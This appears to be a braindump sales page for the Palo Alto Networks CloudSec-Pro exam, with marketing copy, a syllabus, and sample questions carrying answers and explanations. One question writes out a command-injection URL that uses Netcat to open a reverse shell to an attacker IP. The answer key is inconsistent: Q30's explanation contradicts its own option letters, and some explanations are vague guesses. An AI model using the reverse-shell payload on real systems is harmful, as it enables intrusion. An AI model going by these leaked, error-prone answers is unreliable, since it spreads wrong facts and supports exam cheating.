You only need 20-30 hours to learn our CloudSec-Pro test torrents and prepare for the exam. After buying our CloudSec-Pro exam questions you only need to spare several hours to learn our CloudSec-Pro test torrents and commit yourselves mainly to the jobs, the family lives and the learning. Our answers and questions of CloudSec-Pro Exam Questions are chosen elaborately and seize the focus of the exam so you can save much time to learn and prepare the exam. Because the passing rate is high as more than 98% you can reassure yourselves to buy our CloudSec-Pro guide torrent.

Palo Alto Networks CloudSec-Pro Exam Syllabus Topics:

Topic	Details
Topic 1	Cloud Posture Security: This domain examines the tools and practices used to assess and manage cloud security posture, spanning CSPM, KSPM, AI-SPM, and DSPM. It also covers agentless scanning, identity security, vulnerability management, unified compliance, and the role of Posture Security Management Modules.
Topic 2	Cortex Fundamentals: This domain focuses on the core features of the Cortex Cloud platform, including indicator types, log management, asset inventory, compliance, and data protection. It also covers how to create reports and dashboards and how data sources are ingested into the platform.
Topic 3	- Security Operations Center (SOC) Fundamentals: This domain covers the foundational components of a SOC, including team roles, tools, and technologies used in day-to-day security operations. It also addresses how AI - ML and threat intelligence support incident response, categorization, and prioritization.
Topic 4	- Application Security: This domain covers security practices integrated throughout the software development lifecycle, including application security posture management, CI - CD pipeline security, software composition analysis, IaC security, and secrets scanning. It also explores real-world application security use cases and scan management.
Topic 5	Cloud Runtime Security: This domain addresses the protection of cloud workloads during active operation, covering cloud workload protection, detection and response, web application and API security, and vulnerability management. It also includes the processes involved in deploying and managing security agents.

CloudSec-Pro Answers Free | Updated Palo Alto Networks Cloud Security Professional 100% Free Reliable Braindumps

Free Palo Alto Networks CloudSec-Pro exam questions demo download facility, affordable price, 100 percent Palo Alto Networks CloudSec-Pro exam passing money back guarantee. All these three Palo Alto Networks CloudSec-Pro exam questions features are designed to help you in Palo Alto Networks CloudSec-Pro Exam Preparation and enable you to pass the final Palo Alto Networks CloudSec-Pro certification exam easily.

Palo Alto Networks Cloud Security Professional Sample Questions (Q28-Q33):

NEW QUESTION # 28

Which report includes an executive summary and a list of policy violations, including a page with details for each policy?

- A. Detailed
- B. Compliance Standard
- C. Business Unit
- D. Cloud Security Assessment

Answer: D

Explanation:

The Cloud Security Assessment report is a PDF report that summarizes the risks from open alerts in the monitored cloud accounts for a specific cloud type. The report includes an executive summary and a list of policy violations, including a page with details for each policy that includes the description and the compliance standards that are associated with it, the number of resources that passed and failed the check within the specified time period. <https://docs.paloaltonetworks.com/prisma/prisma-cloud/prisma-cloud-admin>

[/manage-prisma-cloud-alerts/generate-reports-on-prisma-cloud-alerts](#)

The report that includes an executive summary along with a list of policy violations and detailed pages for each policy is the "Cloud Security Assessment" report. This type of report is designed to provide organizations with a comprehensive overview of their cloud security posture, highlighting both compliance with security policies and areas needing attention.

NEW QUESTION # 29

An Ubuntu web server running Apache and PHP is compromised with the following command injection payload using Netcat to establish a direct connection back to the attacker machine:

`http://192.168.45.190/vuln.php?cmd=nc -e /bin/bash 192.168.45.161 4444`

Which endpoint protection module would have prevented a successful connection had the Cloud Detection and Response (CDR) agent been installed on the server?

- A. Reverse shell protection
- B. Shellcode protection
- C. Restricted execution - network location
- D. Network packet inspection engine

Answer: A

Explanation:

The payload uses Netcat to launch a reverse shell connection from the compromised server back to the attacker. Reverse shell protection is specifically designed to detect and block this type of outbound shell connection behavior commonly used in command injection and remote access attacks.

NEW QUESTION # 30

Which three types of buckets exposure are available in the Data Security module? (Choose three.)

- A. Private
- B. Differential
- C. International
- D. Conditional

- E. Public

Answer: A,D,E

Explanation:

In the Data Security module of cloud security platforms like Prisma Cloud, the types of bucket exposures typically include Public (option A), Private (option B), and Conditional (option E). Public buckets are accessible by anyone on the internet, posing a significant data leakage risk. Private buckets are restricted to authorized users only, offering a higher level of security. Conditional exposure involves buckets that may be accessible under certain conditions or to specific users, requiring careful configuration and policy enforcement to prevent unauthorized access.

International (option C) and Differential (option D) do not represent standard types of bucket exposures in cloud security contexts.

NEW QUESTION # 31

Which intensity setting for anomaly alerts is used for the measurement of 100 events over 30 days?

- A. Very High
- B. High
- C. Medium
- D. Low

Answer: C

Explanation:

In the context of setting anomaly alert intensities in Prisma Cloud, an intensity setting of "Medium" could be used for the measurement of 100 events over 30 days. This setting indicates a moderate level of anomaly detection sensitivity, which is suitable for environments where there is a need to balance between detecting potential security issues and minimizing false positives.

NEW QUESTION # 32

What is the default namespace created by Defender DaemonSet during deployment?

- A. Twistlock
- B. Redlock
- C. Defender
- D. Default

Answer: A

Explanation:

the default when using the script is twistlock, but you can use whatever you want. https://docs.paloaltonetworks.com/prisma/prisma-cloud/prisma-cloud-admin-compute/configure/set_diff_paths_daemon_sets

NEW QUESTION # 33

.....

As a matter of fact, long-time study isn't a necessity, but learning with high quality and high efficient is the key method to assist you to succeed. We provide several sets of CloudSec-Pro test torrent with complicated knowledge simplified and with the study content easy to master, thus limiting your precious time but gaining more important knowledge. Our study materials are cater every candidate no matter you are a student or office worker, a green hand or a staff member of many years' experience, CloudSec-Pro Certification Training is absolutely good choices for you. Therefore, you have no need to worry about whether you can pass the exam, because we guarantee you to succeed with our technology strength.
